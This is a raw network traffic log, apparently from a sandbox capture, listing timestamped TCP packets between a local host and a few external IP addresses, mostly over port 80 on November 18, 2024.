Nov 18, 2024 04:41:34.928930044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928977013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929097891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929112911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929127932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929142952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929156065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929157972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929173946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929189920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929193020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929203033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929241896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929380894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929402113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929418087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929433107 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929446936 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929450035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929466009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929482937 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929508924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929610968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929625988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929647923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929663897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929677963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929680109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929692984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929711103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929713964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929725885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929738045 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929740906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.929764986 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.929795027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930013895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930027008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930043936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930058956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930071115 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930083036 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930095911 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930098057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930113077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930124998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930128098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930143118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930159092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930160999 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930171013 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930191994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930217028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930305004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930319071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930332899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930347919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930361986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930366993 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930377007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.930389881 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.930413008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.933919907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.933936119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.933952093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.933976889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.933988094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934001923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.934003115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934017897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934034109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934053898 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.934075117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.934149027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934164047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934179068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934194088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934207916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934216022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.934231997 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.934257030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.935424089 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.935457945 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.935513973 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.935547113 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.935585976 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.935823917 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.935836077 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.935878038 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.935882092 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.939080954 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.939101934 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.939163923 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.939426899 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.939438105 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.003129005 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.003153086 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.003293991 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.003706932 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.003719091 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.003791094 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.004044056 CET	49911	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.004057884 CET	443	49911	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.004192114 CET	49912	443	192.168.2.6	23.198.7.229
Nov 18, 2024 04:41:35.004205942 CET	443	49912	23.198.7.229	192.168.2.6
Nov 18, 2024 04:41:35.012676001 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.012749910 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.012909889 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.013092995 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.013106108 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.013118029 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.013123035 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.016089916 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.016103983 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.016172886 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.016383886 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.016393900 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.046751022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046777010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046792984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046813965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.046854973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046869993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046879053 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.046886921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046931982 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.046947956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.046963930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047000885 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047003031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047017097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047030926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047044039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047086954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047108889 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047123909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047138929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047169924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047180891 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047204018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047219038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047234058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047246933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047288895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047326088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047338963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047353983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047367096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047370911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047384977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047389030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047410965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047415018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047445059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047452927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047470093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047477007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047486067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047497034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047521114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047539949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047619104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047633886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047650099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047679901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047713041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047741890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047758102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047772884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047787905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047805071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047806978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047827959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047858953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047880888 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.047976971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.047991037 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048003912 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048019886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048028946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048034906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048052073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048053026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048068047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048084974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048089981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048113108 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048145056 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048293114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048306942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048321009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048336983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048336983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048353910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048357964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048368931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048384905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048396111 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048401117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048417091 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048450947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048471928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048513889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048625946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048639059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048654079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048670053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048671961 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048682928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048698902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048707008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048716068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048729897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048738003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048748016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048763990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048774958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048780918 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048808098 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048825979 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.048942089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048957109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.048978090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049004078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049036026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049089909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049113989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049128056 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049143076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049158096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049159050 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049174070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049187899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049192905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049202919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049212933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049217939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049232960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049249887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049252987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049266100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.049276114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049297094 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.049333096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052561998 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052587986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052603006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052614927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052618027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052649975 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052684069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052697897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052714109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052721977 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052742004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052756071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052766085 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052805901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052805901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.052824974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.052870989 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.116417885 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.116494894 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.116723061 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.116911888 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.116935968 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.116945982 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.116955042 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.120131969 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.120161057 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.120325089 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.120460987 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.120471954 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.165501118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165530920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165555000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165570974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165569067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165585995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165591955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165602922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165621042 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165668964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165668964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165684938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165702105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165716887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165725946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165740967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165781021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165796995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165812969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.165817976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165817976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165853977 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.165895939 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166012049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166027069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166042089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166050911 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166058064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166074038 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166074038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166100025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166114092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166116953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166131973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166140079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166146040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166153908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166161060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166167974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166167974 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166186094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166198969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166259050 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166296005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166301966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166312933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166327953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166337013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166344881 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166373014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166407108 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166414976 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166431904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166459084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166467905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166476011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166500092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166500092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166515112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166531086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166537046 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166543961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166553974 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166589022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:35.166595936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166610956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:35.166629076 CET	80	49833	185.215.113.206	192.168.2.6
